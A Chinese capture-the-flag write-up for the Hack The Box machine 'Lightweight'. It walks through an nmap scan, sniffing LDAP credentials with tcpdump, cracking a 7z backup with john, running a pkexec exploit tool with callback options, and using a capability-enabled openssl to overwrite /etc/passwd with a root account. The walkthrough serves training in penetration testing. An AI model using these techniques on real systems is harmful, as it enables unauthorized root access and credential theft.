信息收集
IP Address | Opening Ports |
---|---|
10.10.10.119 | TCP:22,80,389 |
$ nmap -p- 10.10.10.119 --min-rate 1000 -sC -sV
bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 19:97:59:9a:15:fd:d2:ac:bd:84:73:c4:29:e9:2b:73 (RSA)
| 256 88:58:a1:cf:38:cd:2e:15:1d:2c:7f:72:06:a3:57:67 (ECDSA)
|_ 256 31:6c:c1:eb:3b:28:0f:ad:d5:79:72:8f:f5:b5:49:db (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
|_http-title: Lightweight slider evaluation page - slendr
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
| ssl-cert: Subject: commonName=lightweight.htb
| Subject Alternative Name: DNS:lightweight.htb, DNS:localhost, DNS:localhost.localdomain
| Not valid before: 2018-06-09T13:32:51
|_Not valid after: 2019-06-09T13:32:51
|_ssl-date: TLS randomness does not represent time
HTTP
-
目标环境:前端服务器进行了配置更新,现需要在软件开发生命周期(SDLC)中进行渗透测试。服务器上的实际页面已被虚构内容替换,但所有需要测试的功能都已经集成。
-
安全保护:服务器有一些安全措施,比如防止暴力破解。如果尝试暴力破解暴露的服务,可能会被封禁,封禁时间最长可达5分钟。
-
行为要求:如果被封禁,是测试者自己的责任。被封禁后,不能重置服务器,以免影响其他测试人员的工作,而是要尝试不同的方法。
-
封禁信息:被封禁的IP地址列表可以在特定页面查看,不过在封禁期间可能无法访问该页面。
-
登录页面:如果想访问测试环境,需要前往用户页面。
-
阅读信息页面:如果用户还没有阅读相关信息页面,建议先去阅读该页面并仔细查看内容。
-
SSH登录:服务器允许通过SSH登录。当用户第一次访问HTTP页面时,服务器会自动将用户的IP地址(例如 10.10.16.24)作为用户名和密码进行注册。这个过程在一分钟内完成。
-
修改密码:建议用户在成功登录服务器后立即更改密码以确保账户安全。
-
重置账户:如果用户出于某种原因需要重置账户,可以点击提供的链接。重置过程可能需要一分钟时间,账户会被删除并重新创建,注意,这个操作会删除用户主目录中的所有文件。
LDAP密码嗅探
[10.10.16.24@lightweight /]$ cat /etc/passwd
嗅探LDAP服务端口
[10.10.16.24@lightweight /]$ tcpdump -i lo port 389 -w /tmp/capture.cap -v
maptnh@maptnh:~/Desktop/htb$ scp 10.10.16.24@10.10.10.119:/tmp/capture.cap /tmp/capture.cap
ldapuser2的密码以明文形式被捕获
password:8bc8251332abe1d7f105d3e53ad39ac2
[10.10.16.24@lightweight /]$ su ldapuser2
User.txt
616c83ec01d41ae4e9f50b3a4293907b
TRP00F 自动化权限提升
https://github.com/MartinxMax/trp00f
当用户权限提升至ldapuser2即可权限提升
maptnh@maptnh:~/Desktop/htb/Github/TRP00f$ python3 trp00f.py --lhost 10.10.16.24 --lport 10000 --rhost 10.10.16.24 --rport 10001 --http 1111
[!] Do you want to exploit the vulnerability in file 'pkexec' ? (y/n) >y
权限提升
ldapuser2 --> ldapuser1
[ldapuser2@lightweight ~]$ cp backup.7z /tmp
maptnh@maptnh:~/Desktop/htb$ scp 10.10.16.24@10.10.10.119:/tmp/backup.7z /tmp/backup.7z
需要密码解压
maptnh@maptnh:/tmp$ 7z2john backup.7z >backup.7z.hash
maptnh@maptnh:/tmp$ john --wordlist=/usr/share/wordlists/rockyou.txt backup.7z.hash
password:delete
maptnh@maptnh:/tmp$ cat status.php
maptnh@maptnh:/tmp$ 7z x backup.7z
username:ldapuser1 password:f3ca9d298a553da117442deeb6fa932d
openssl 权限提升
[ldapuser1@lightweight ~]$ ls -la
[ldapuser1@lightweight ~]$ which openssl tcpdump
[ldapuser1@lightweight ~]$ md5sum /usr/sbin/tcpdump ./tcpdump /usr/bin/openssl ./openssl
说明是同一个文件
[ldapuser1@lightweight ~]$ getcap /usr/sbin/tcpdump
[ldapuser1@lightweight ~]$ getcap ./openssl
在Linux系统中,ep 权限标记代表 Effective(有效)和 Permitted(允许)。这两个标志是Linux安全功能(Linux Capabilities)的一部分,它们允许你对二进制文件设置特定的权限,而不必以root用户身份运行该文件。
maptnh@maptnh:/tmp$ openssl passwd -1 -salt maptnh root
[ldapuser1@lightweight ~]$ ./openssl base64 -in /etc/passwd | base64 -d > /dev/shm/passwd
[ldapuser1@lightweight ~]$ echo 'maptnh:$1$maptnh$EaRHF5oKs2oIYcUsHbWYh0:0:0:/bin:/bin/bash'>/dev/shm/passwd
[ldapuser1@lightweight ~]$ cat /dev/shm/passwd | base64 | ./openssl enc -d -base64 -out /etc/passwd
[ldapuser1@lightweight ~]$ su maptnh
Root.txt
e31f846f4db812157e6595aa0e0e9c80